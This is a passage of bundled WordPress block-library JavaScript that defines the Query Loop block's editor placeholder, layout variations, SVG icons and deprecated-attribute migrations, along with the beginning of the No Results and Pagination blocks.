43490 {
43491 name,
43492 attributes,
43493 setQuery: updateQuery,
43494 setAttributes,
43495 clientId,
43496 isSingular
43497 }
43498 ) }),
43499 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: [
43500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43501 query_content_HTMLElementControl,
43502 {
43503 tagName: TagName,
43504 onChange: (value) => setAttributes({ tagName: value }),
43505 clientId,
43506 options: [
43507 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
43508 { label: "<main>", value: "main" },
43509 { label: "<section>", value: "section" },
43510 { label: "<aside>", value: "aside" }
43511 ]
43512 }
43513 ),
43514 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43515 EnhancedPaginationControl,
43516 {
43517 enhancedPagination,
43518 setAttributes,
43519 clientId
43520 }
43521 )
43522 ] }),
43523 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps })
43524 ] });
43525}
43526
43527
43528;// ./node_modules/@wordpress/block-library/build-module/query/edit/query-placeholder.js
43529
43530
43531
43532
43533
43534
43535
43536
43537
43538
43539
43540function QueryPlaceholder({
43541 attributes,
43542 clientId,
43543 name,
43544 openPatternSelectionModal
43545}) {
43546 const [isStartingBlank, setIsStartingBlank] = (0,external_wp_element_namespaceObject.useState)(false);
43547 const [containerWidth, setContainerWidth] = (0,external_wp_element_namespaceObject.useState)(0);
43548 const resizeObserverRef = (0,external_wp_compose_namespaceObject.useResizeObserver)(([entry]) => {
43549 setContainerWidth(entry.contentRect.width);
43550 });
43551 const SMALL_CONTAINER_BREAKPOINT = 160;
43552 const isSmallContainer = containerWidth > 0 && containerWidth < SMALL_CONTAINER_BREAKPOINT;
43553 const { blockType, activeBlockVariation } = (0,external_wp_data_namespaceObject.useSelect)(
43554 (select) => {
43555 const { getActiveBlockVariation, getBlockType } = select(external_wp_blocks_namespaceObject.store);
43556 return {
43557 blockType: getBlockType(name),
43558 activeBlockVariation: getActiveBlockVariation(
43559 name,
43560 attributes
43561 )
43562 };
43563 },
43564 [name, attributes]
43565 );
43566 const hasPatterns = !!useBlockPatterns(clientId, attributes).length;
43567 const icon = activeBlockVariation?.icon?.src || activeBlockVariation?.icon || blockType?.icon?.src;
43568 const label = activeBlockVariation?.title || blockType?.title;
43569 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
43570 ref: resizeObserverRef
43571 });
43572 if (isStartingBlank) {
43573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43574 QueryVariationPicker,
43575 {
43576 clientId,
43577 attributes,
43578 icon,
43579 label
43580 }
43581 );
43582 }
43583 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
43584 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43585 QueryToolbar,
43586 {
43587 clientId,
43588 attributes,
43589 hasInnerBlocks: false
43590 }
43591 ) }),
43592 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
43593 external_wp_components_namespaceObject.Placeholder,
43594 {
43595 className: "block-editor-media-placeholder",
43596 icon: !isSmallContainer && icon,
43597 label: !isSmallContainer && label,
43598 instructions: !isSmallContainer && (0,external_wp_i18n_namespaceObject.__)("Choose a pattern for the query loop or start blank."),
43599 withIllustration: isSmallContainer,
43600 children: [
43601 !!hasPatterns && !isSmallContainer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43602 external_wp_components_namespaceObject.Button,
43603 {
43604 __next40pxDefaultSize: true,
43605 variant: "primary",
43606 onClick: openPatternSelectionModal,
43607 children: (0,external_wp_i18n_namespaceObject.__)("Choose")
43608 }
43609 ),
43610 !isSmallContainer && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43611 external_wp_components_namespaceObject.Button,
43612 {
43613 __next40pxDefaultSize: true,
43614 variant: "secondary",
43615 onClick: () => {
43616 setIsStartingBlank(true);
43617 },
43618 children: (0,external_wp_i18n_namespaceObject.__)("Start blank")
43619 }
43620 )
43621 ]
43622 }
43623 )
43624 ] });
43625}
43626function QueryVariationPicker({ clientId, attributes, icon, label }) {
43627 const scopeVariations = useScopedBlockVariations(attributes);
43628 const { replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
43629 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
43630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43631 external_wp_blockEditor_namespaceObject.__experimentalBlockVariationPicker,
43632 {
43633 icon,
43634 label,
43635 variations: scopeVariations,
43636 onSelect: (variation) => {
43637 if (variation.innerBlocks) {
43638 replaceInnerBlocks(
43639 clientId,
43640 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(
43641 variation.innerBlocks
43642 ),
43643 false
43644 );
43645 }
43646 }
43647 }
43648 ) });
43649}
43650
43651
43652;// ./node_modules/@wordpress/block-library/build-module/query/edit/index.js
43653
43654
43655
43656
43657
43658
43659
43660const QueryEdit = (props) => {
43661 const { clientId, attributes } = props;
43662 const [isPatternSelectionModalOpen, setIsPatternSelectionModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
43663 const hasInnerBlocks = (0,external_wp_data_namespaceObject.useSelect)(
43664 (select) => !!select(external_wp_blockEditor_namespaceObject.store).getBlocks(clientId).length,
43665 [clientId]
43666 );
43667 const Component = hasInnerBlocks ? QueryContent : QueryPlaceholder;
43668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
43669 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43670 Component,
43671 {
43672 ...props,
43673 openPatternSelectionModal: () => setIsPatternSelectionModalOpen(true)
43674 }
43675 ),
43676 isPatternSelectionModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
43677 PatternSelectionModal,
43678 {
43679 clientId,
43680 attributes,
43681 setIsPatternSelectionModalOpen
43682 }
43683 )
43684 ] });
43685};
43686var query_edit_edit_default = QueryEdit;
43687
43688
43689;// ./node_modules/@wordpress/block-library/build-module/query/save.js
43690
43691
43692function query_save_save({ attributes: { tagName: Tag = "div" } }) {
43693 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
43694 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
43695 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
43696}
43697
43698
43699;// ./node_modules/@wordpress/block-library/build-module/query/icons.js
43700
43701
43702const titleDate = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M41 9H7v3h34V9zm-22 5H7v1h12v-1zM7 26h12v1H7v-1zm34-5H7v3h34v-3zM7 38h12v1H7v-1zm34-5H7v3h34v-3z" }) });
43703const titleExcerpt = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M41 9H7v3h34V9zm-4 5H7v1h30v-1zm4 3H7v1h34v-1zM7 20h30v1H7v-1zm0 12h30v1H7v-1zm34 3H7v1h34v-1zM7 38h30v1H7v-1zm34-11H7v3h34v-3z" }) });
43704const titleDateExcerpt = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M41 9H7v3h34V9zm-22 5H7v1h12v-1zm22 3H7v1h34v-1zM7 20h34v1H7v-1zm0 12h12v1H7v-1zm34 3H7v1h34v-1zM7 38h34v1H7v-1zm34-11H7v3h34v-3z" }) });
43705const imageDateTitle = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M7 9h34v6H7V9zm12 8H7v1h12v-1zm18 3H7v1h30v-1zm0 18H7v1h30v-1zM7 35h12v1H7v-1zm34-8H7v6h34v-6z" }) });
43706
43707
43708;// ./node_modules/@wordpress/block-library/build-module/query/variations.js
43709
43710
43711const postDate = [
43712 "core/post-date",
43713 {
43714 metadata: {
43715 bindings: {
43716 datetime: {
43717 source: "core/post-data",
43718 args: { field: "date" }
43719 }
43720 }
43721 }
43722 }
43723];
43724const query_variations_variations = [
43725 {
43726 name: "title-date",
43727 title: (0,external_wp_i18n_namespaceObject.__)("Title & Date"),
43728 icon: titleDate,
43729 attributes: {},
43730 innerBlocks: [
43731 ["core/post-template", {}, [["core/post-title"], postDate]],
43732 ["core/query-pagination"],
43733 ["core/query-no-results"]
43734 ],
43735 scope: ["block"]
43736 },
43737 {
43738 name: "title-excerpt",
43739 title: (0,external_wp_i18n_namespaceObject.__)("Title & Excerpt"),
43740 icon: titleExcerpt,
43741 attributes: {},
43742 innerBlocks: [
43743 [
43744 "core/post-template",
43745 {},
43746 [["core/post-title"], ["core/post-excerpt"]]
43747 ],
43748 ["core/query-pagination"],
43749 ["core/query-no-results"]
43750 ],
43751 scope: ["block"]
43752 },
43753 {
43754 name: "title-date-excerpt",
43755 title: (0,external_wp_i18n_namespaceObject.__)("Title, Date, & Excerpt"),
43756 icon: titleDateExcerpt,
43757 attributes: {},
43758 innerBlocks: [
43759 [
43760 "core/post-template",
43761 {},
43762 [["core/post-title"], postDate, ["core/post-excerpt"]]
43763 ],
43764 ["core/query-pagination"],
43765 ["core/query-no-results"]
43766 ],
43767 scope: ["block"]
43768 },
43769 {
43770 name: "image-date-title",
43771 title: (0,external_wp_i18n_namespaceObject.__)("Image, Date, & Title"),
43772 icon: imageDateTitle,
43773 attributes: {},
43774 innerBlocks: [
43775 [
43776 "core/post-template",
43777 {},
43778 [
43779 ["core/post-featured-image"],
43780 postDate,
43781 ["core/post-title"]
43782 ]
43783 ],
43784 ["core/query-pagination"],
43785 ["core/query-no-results"]
43786 ],
43787 scope: ["block"]
43788 }
43789];
43790var query_variations_variations_default = query_variations_variations;
43791
43792
43793;// ./node_modules/@wordpress/block-library/build-module/query/deprecated.js
43794
43795
43796
43797
43798const { cleanEmptyObject: deprecated_cleanEmptyObject } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
43799const migrateToTaxQuery = (attributes) => {
43800 const { query } = attributes;
43801 const { categoryIds, tagIds, ...newQuery } = query;
43802 if (query.categoryIds?.length || query.tagIds?.length) {
43803 newQuery.taxQuery = {
43804 category: !!query.categoryIds?.length ? query.categoryIds : void 0,
43805 post_tag: !!query.tagIds?.length ? query.tagIds : void 0
43806 };
43807 }
43808 return {
43809 ...attributes,
43810 query: newQuery
43811 };
43812};
43813const migrateColors = (attributes, innerBlocks) => {
43814 const { style, backgroundColor, gradient, textColor, ...newAttributes } = attributes;
43815 const hasColorStyles = backgroundColor || gradient || textColor || style?.color || style?.elements?.link;
43816 if (!hasColorStyles) {
43817 return [attributes, innerBlocks];
43818 }
43819 if (style) {
43820 newAttributes.style = deprecated_cleanEmptyObject({
43821 ...style,
43822 color: void 0,
43823 elements: {
43824 ...style.elements,
43825 link: void 0
43826 }
43827 });
43828 }
43829 if (hasSingleInnerGroupBlock(innerBlocks)) {
43830 const groupBlock = innerBlocks[0];
43831 const hasStyles = style?.color || style?.elements?.link || groupBlock.attributes.style;
43832 const newStyles = hasStyles ? deprecated_cleanEmptyObject({
43833 ...groupBlock.attributes.style,
43834 color: style?.color,
43835 elements: style?.elements?.link ? { link: style?.elements?.link } : void 0
43836 }) : void 0;
43837 const updatedGroupBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
43838 "core/group",
43839 {
43840 ...groupBlock.attributes,
43841 backgroundColor,
43842 gradient,
43843 textColor,
43844 style: newStyles
43845 },
43846 groupBlock.innerBlocks
43847 );
43848 return [newAttributes, [updatedGroupBlock]];
43849 }
43850 const newGroupBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
43851 "core/group",
43852 {
43853 backgroundColor,
43854 gradient,
43855 textColor,
43856 style: deprecated_cleanEmptyObject({
43857 color: style?.color,
43858 elements: style?.elements?.link ? { link: style?.elements?.link } : void 0
43859 })
43860 },
43861 innerBlocks
43862 );
43863 return [newAttributes, [newGroupBlock]];
43864};
43865const hasSingleInnerGroupBlock = (innerBlocks = []) => innerBlocks.length === 1 && innerBlocks[0].name === "core/group";
43866const migrateToConstrainedLayout = (attributes) => {
43867 const { layout = null } = attributes;
43868 if (!layout) {
43869 return attributes;
43870 }
43871 const { inherit = null, contentSize = null, ...newLayout } = layout;
43872 if (inherit || contentSize) {
43873 return {
43874 ...attributes,
43875 layout: {
43876 ...newLayout,
43877 contentSize,
43878 type: "constrained"
43879 }
43880 };
43881 }
43882 return attributes;
43883};
43884const findPostTemplateBlock = (innerBlocks = []) => {
43885 let foundBlock = null;
43886 for (const block of innerBlocks) {
43887 if (block.name === "core/post-template") {
43888 foundBlock = block;
43889 break;
43890 } else if (block.innerBlocks.length) {
43891 foundBlock = findPostTemplateBlock(block.innerBlocks);
43892 }
43893 }
43894 return foundBlock;
43895};
43896const replacePostTemplateBlock = (innerBlocks = [], replacementBlock) => {
43897 innerBlocks.forEach((block, index) => {
43898 if (block.name === "core/post-template") {
43899 innerBlocks.splice(index, 1, replacementBlock);
43900 } else if (block.innerBlocks.length) {
43901 block.innerBlocks = replacePostTemplateBlock(
43902 block.innerBlocks,
43903 replacementBlock
43904 );
43905 }
43906 });
43907 return innerBlocks;
43908};
43909const migrateDisplayLayout = (attributes, innerBlocks) => {
43910 const { displayLayout = null, ...newAttributes } = attributes;
43911 if (!displayLayout) {
43912 return [attributes, innerBlocks];
43913 }
43914 const postTemplateBlock = findPostTemplateBlock(innerBlocks);
43915 if (!postTemplateBlock) {
43916 return [attributes, innerBlocks];
43917 }
43918 const { type, columns } = displayLayout;
43919 const updatedLayoutType = type === "flex" ? "grid" : "default";
43920 const newPostTemplateBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
43921 "core/post-template",
43922 {
43923 ...postTemplateBlock.attributes,
43924 layout: {
43925 type: updatedLayoutType,
43926 ...columns && { columnCount: columns }
43927 }
43928 },
43929 postTemplateBlock.innerBlocks
43930 );
43931 return [
43932 newAttributes,
43933 replacePostTemplateBlock(innerBlocks, newPostTemplateBlock)
43934 ];
43935};
43936const query_deprecated_v1 = {
43937 attributes: {
43938 queryId: {
43939 type: "number"
43940 },
43941 query: {
43942 type: "object",
43943 default: {
43944 perPage: null,
43945 pages: 0,
43946 offset: 0,
43947 postType: "post",
43948 categoryIds: [],
43949 tagIds: [],
43950 order: "desc",
43951 orderBy: "date",
43952 author: "",
43953 search: "",
43954 exclude: [],
43955 sticky: "",
43956 inherit: true
43957 }
43958 },
43959 layout: {
43960 type: "object",
43961 default: {
43962 type: "list"
43963 }
43964 }
43965 },
43966 supports: {
43967 html: false
43968 },
43969 migrate(attributes, innerBlocks) {
43970 const withTaxQuery = migrateToTaxQuery(attributes);
43971 const { layout, ...restWithTaxQuery } = withTaxQuery;
43972 const newAttributes = {
43973 ...restWithTaxQuery,
43974 displayLayout: withTaxQuery.layout
43975 };
43976 return migrateDisplayLayout(newAttributes, innerBlocks);
43977 },
43978 save() {
43979 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
43980 }
43981};
43982const query_deprecated_v2 = {
43983 attributes: {
43984 queryId: {
43985 type: "number"
43986 },
43987 query: {
43988 type: "object",
43989 default: {
43990 perPage: null,
43991 pages: 0,
43992 offset: 0,
43993 postType: "post",
43994 categoryIds: [],
43995 tagIds: [],
43996 order: "desc",
43997 orderBy: "date",
43998 author: "",
43999 search: "",
44000 exclude: [],
44001 sticky: "",
44002 inherit: true
44003 }
44004 },
44005 tagName: {
44006 type: "string",
44007 default: "div"
44008 },
44009 displayLayout: {
44010 type: "object",
44011 default: {
44012 type: "list"
44013 }
44014 }
44015 },
44016 supports: {
44017 align: ["wide", "full"],
44018 html: false,
44019 color: {
44020 gradients: true,
44021 link: true
44022 },
44023 layout: true
44024 },
44025 isEligible: ({ query: { categoryIds, tagIds } = {} }) => categoryIds || tagIds,
44026 migrate(attributes, innerBlocks) {
44027 const withTaxQuery = migrateToTaxQuery(attributes);
44028 const [withColorAttributes, withColorInnerBlocks] = migrateColors(
44029 withTaxQuery,
44030 innerBlocks
44031 );
44032 const withConstrainedLayoutAttributes = migrateToConstrainedLayout(withColorAttributes);
44033 return migrateDisplayLayout(
44034 withConstrainedLayoutAttributes,
44035 withColorInnerBlocks
44036 );
44037 },
44038 save({ attributes: { tagName: Tag = "div" } }) {
44039 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
44040 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
44041 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
44042 }
44043};
44044const query_deprecated_v3 = {
44045 attributes: {
44046 queryId: {
44047 type: "number"
44048 },
44049 query: {
44050 type: "object",
44051 default: {
44052 perPage: null,
44053 pages: 0,
44054 offset: 0,
44055 postType: "post",
44056 order: "desc",
44057 orderBy: "date",
44058 author: "",
44059 search: "",
44060 exclude: [],
44061 sticky: "",
44062 inherit: true,
44063 taxQuery: null,
44064 parents: []
44065 }
44066 },
44067 tagName: {
44068 type: "string",
44069 default: "div"
44070 },
44071 displayLayout: {
44072 type: "object",
44073 default: {
44074 type: "list"
44075 }
44076 },
44077 namespace: {
44078 type: "string"
44079 }
44080 },
44081 supports: {
44082 align: ["wide", "full"],
44083 html: false,
44084 color: {
44085 gradients: true,
44086 link: true,
44087 __experimentalDefaultControls: {
44088 background: true,
44089 text: true
44090 }
44091 },
44092 layout: true
44093 },
44094 isEligible(attributes) {
44095 const { style, backgroundColor, gradient, textColor } = attributes;
44096 return backgroundColor || gradient || textColor || style?.color || style?.elements?.link;
44097 },
44098 migrate(attributes, innerBlocks) {
44099 const [withColorAttributes, withColorInnerBlocks] = migrateColors(
44100 attributes,
44101 innerBlocks
44102 );
44103 const withConstrainedLayoutAttributes = migrateToConstrainedLayout(withColorAttributes);
44104 return migrateDisplayLayout(
44105 withConstrainedLayoutAttributes,
44106 withColorInnerBlocks
44107 );
44108 },
44109 save({ attributes: { tagName: Tag = "div" } }) {
44110 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
44111 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
44112 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
44113 }
44114};
44115const query_deprecated_v4 = {
44116 attributes: {
44117 queryId: {
44118 type: "number"
44119 },
44120 query: {
44121 type: "object",
44122 default: {
44123 perPage: null,
44124 pages: 0,
44125 offset: 0,
44126 postType: "post",
44127 order: "desc",
44128 orderBy: "date",
44129 author: "",
44130 search: "",
44131 exclude: [],
44132 sticky: "",
44133 inherit: true,
44134 taxQuery: null,
44135 parents: []
44136 }
44137 },
44138 tagName: {
44139 type: "string",
44140 default: "div"
44141 },
44142 displayLayout: {
44143 type: "object",
44144 default: {
44145 type: "list"
44146 }
44147 },
44148 namespace: {
44149 type: "string"
44150 }
44151 },
44152 supports: {
44153 align: ["wide", "full"],
44154 html: false,
44155 color: {
44156 gradients: true,
44157 link: true,
44158 __experimentalDefaultControls: {
44159 background: true,
44160 text: true
44161 }
44162 },
44163 layout: true
44164 },
44165 save({ attributes: { tagName: Tag = "div" } }) {
44166 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
44167 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
44168 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
44169 },
44170 isEligible: ({ layout }) => layout?.inherit || layout?.contentSize && layout?.type !== "constrained",
44171 migrate(attributes, innerBlocks) {
44172 const withConstrainedLayoutAttributes = migrateToConstrainedLayout(attributes);
44173 return migrateDisplayLayout(
44174 withConstrainedLayoutAttributes,
44175 innerBlocks
44176 );
44177 }
44178};
44179const query_deprecated_v5 = {
44180 attributes: {
44181 queryId: {
44182 type: "number"
44183 },
44184 query: {
44185 type: "object",
44186 default: {
44187 perPage: null,
44188 pages: 0,
44189 offset: 0,
44190 postType: "post",
44191 order: "desc",
44192 orderBy: "date",
44193 author: "",
44194 search: "",
44195 exclude: [],
44196 sticky: "",
44197 inherit: true,
44198 taxQuery: null,
44199 parents: []
44200 }
44201 },
44202 tagName: {
44203 type: "string",
44204 default: "div"
44205 },
44206 displayLayout: {
44207 type: "object",
44208 default: {
44209 type: "list"
44210 }
44211 },
44212 namespace: {
44213 type: "string"
44214 }
44215 },
44216 supports: {
44217 align: ["wide", "full"],
44218 anchor: true,
44219 html: false,
44220 layout: true
44221 },
44222 save({ attributes: { tagName: Tag = "div" } }) {
44223 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
44224 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
44225 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...innerBlocksProps });
44226 },
44227 isEligible: ({ displayLayout }) => {
44228 return !!displayLayout;
44229 },
44230 migrate: migrateDisplayLayout
44231};
44232const query_deprecated_deprecated = [query_deprecated_v5, query_deprecated_v4, query_deprecated_v3, query_deprecated_v2, query_deprecated_v1];
44233var query_deprecated_deprecated_default = query_deprecated_deprecated;
44234
44235
44236;// ./node_modules/@wordpress/block-library/build-module/query/index.js
44237
44238
44239
44240
44241
44242
44243
44244const { name: query_name } = query_block_namespaceObject;
44245const query_settings = {
44246 icon: loop_default,
44247 edit: query_edit_edit_default,
44248 example: {
44249 viewportWidth: 650,
44250 attributes: {
44251 namespace: "core/posts-list",
44252 query: {
44253 perPage: 4,
44254 pages: 1,
44255 offset: 0,
44256 postType: "post",
44257 order: "desc",
44258 orderBy: "date",
44259 author: "",
44260 search: "",
44261 sticky: "exclude",
44262 inherit: false
44263 }
44264 },
44265 innerBlocks: [
44266 {
44267 name: "core/post-template",
44268 attributes: {
44269 layout: {
44270 type: "grid",
44271 columnCount: 2
44272 }
44273 },
44274 innerBlocks: [
44275 {
44276 name: "core/post-title"
44277 },
44278 {
44279 name: "core/post-date",
44280 attributes: {
44281 metadata: {
44282 bindings: {
44283 datetime: {
44284 source: "core/post-data",
44285 args: { field: "date" }
44286 }
44287 }
44288 }
44289 }
44290 },
44291 {
44292 name: "core/post-excerpt"
44293 }
44294 ]
44295 }
44296 ]
44297 },
44298 save: query_save_save,
44299 variations: query_variations_variations_default,
44300 deprecated: query_deprecated_deprecated_default
44301};
44302const query_init = () => initBlock({ name: query_name, metadata: query_block_namespaceObject, settings: query_settings });
44303
44304
44305;// ./node_modules/@wordpress/block-library/build-module/query-no-results/block.json
44306const query_no_results_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-no-results","title":"No Results","category":"theme","description":"Contains the block elements used to render content when no query results are found.","ancestor":["core/query"],"textdomain":"default","usesContext":["queryId","query"],"supports":{"align":true,"reusable":false,"html":false,"color":{"gradients":true,"link":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
44307;// ./node_modules/@wordpress/block-library/build-module/query-no-results/edit.js
44308
44309
44310
44311const query_no_results_edit_TEMPLATE = [
44312 [
44313 "core/paragraph",
44314 {
44315 placeholder: (0,external_wp_i18n_namespaceObject.__)(
44316 "Add text or blocks that will display when a query returns no results."
44317 )
44318 }
44319 ]
44320];
44321function QueryNoResultsEdit() {
44322 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
44323 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
44324 template: query_no_results_edit_TEMPLATE
44325 });
44326 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
44327}
44328
44329
44330;// ./node_modules/@wordpress/block-library/build-module/query-no-results/save.js
44331
44332
44333function query_no_results_save_save() {
44334 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
44335}
44336
44337
44338;// ./node_modules/@wordpress/block-library/build-module/query-no-results/index.js
44339
44340
44341
44342
44343
44344
44345const { name: query_no_results_name } = query_no_results_block_namespaceObject;
44346const query_no_results_settings = {
44347 icon: loop_default,
44348 edit: QueryNoResultsEdit,
44349 save: query_no_results_save_save,
44350 example: {
44351 innerBlocks: [
44352 {
44353 name: "core/paragraph",
44354 attributes: {
44355 content: (0,external_wp_i18n_namespaceObject.__)("No posts were found.")
44356 }
44357 }
44358 ]
44359 }
44360};
44361const query_no_results_init = () => initBlock({ name: query_no_results_name, metadata: query_no_results_block_namespaceObject, settings: query_no_results_settings });
44362
44363
44364;// ./node_modules/@wordpress/block-library/build-module/query-pagination/block.json
44365const query_pagination_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/query-pagination","title":"Pagination","category":"theme","ancestor":["core/query"],"allowedBlocks":["core/query-pagination-previous","core/query-pagination-numbers","core/query-pagination-next"],"description":"Displays a paginated navigation to next/previous set of posts, when applicable.","textdomain":"default","attributes":{"paginationArrow":{"type":"string","default":"none"},"showLabel":{"type":"boolean","default":true}},"usesContext":["queryId","query"],"providesContext":{"paginationArrow":"paginationArrow","showLabel":"showLabel"},"supports":{"align":true,"reusable":false,"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"layout":{"allowSwitching":false,"allowInheriting":false,"default":{"type":"flex"}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-query-pagination-editor","style":"wp-block-query-pagination"}');
44366;// ./node_modules/@wordpress/block-library/build-module/query-pagination/query-pagination-arrow-controls.js
44367
44368
44369
44370function QueryPaginationArrowControls({ value, onChange }) {
44371 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
44372 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
44373 {
44374 __next40pxDefaultSize: true,
44375 __nextHasNoMarginBottom: true,
44376 label: (0,external_wp_i18n_namespaceObject.__)("Arrow"),
44377 value,
44378 onChange,
44379 help: (0,external_wp_i18n_namespaceObject.__)(
44380 "A decorative arrow appended to the next and previous page link."
44381 ),
44382 isBlock: true,
44383 children: [
44384 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44385 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
44386 {
44387 value: "none",
44388 label: (0,external_wp_i18n_namespaceObject._x)(
44389 "None",
44390 "Arrow option for Query Pagination Next/Previous blocks"
44391 )
44392 }
44393 ),
44394 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44395 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
44396 {
44397 value: "arrow",
44398 label: (0,external_wp_i18n_namespaceObject._x)(
44399 "Arrow",
44400 "Arrow option for Query Pagination Next/Previous blocks"
44401 )
44402 }
44403 ),
44404 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44405 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
44406 {
44407 value: "chevron",
44408 label: (0,external_wp_i18n_namespaceObject._x)(
44409 "Chevron",
44410 "Arrow option for Query Pagination Next/Previous blocks"
44411 )
44412 }
44413 )
44414 ]
44415 }
44416 );
44417}
44418
44419
44420;// ./node_modules/@wordpress/block-library/build-module/query-pagination/query-pagination-label-control.js
44421
44422
44423
44424function QueryPaginationLabelControl({ value, onChange }) {
44425 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
44426 external_wp_components_namespaceObject.ToggleControl,
44427 {
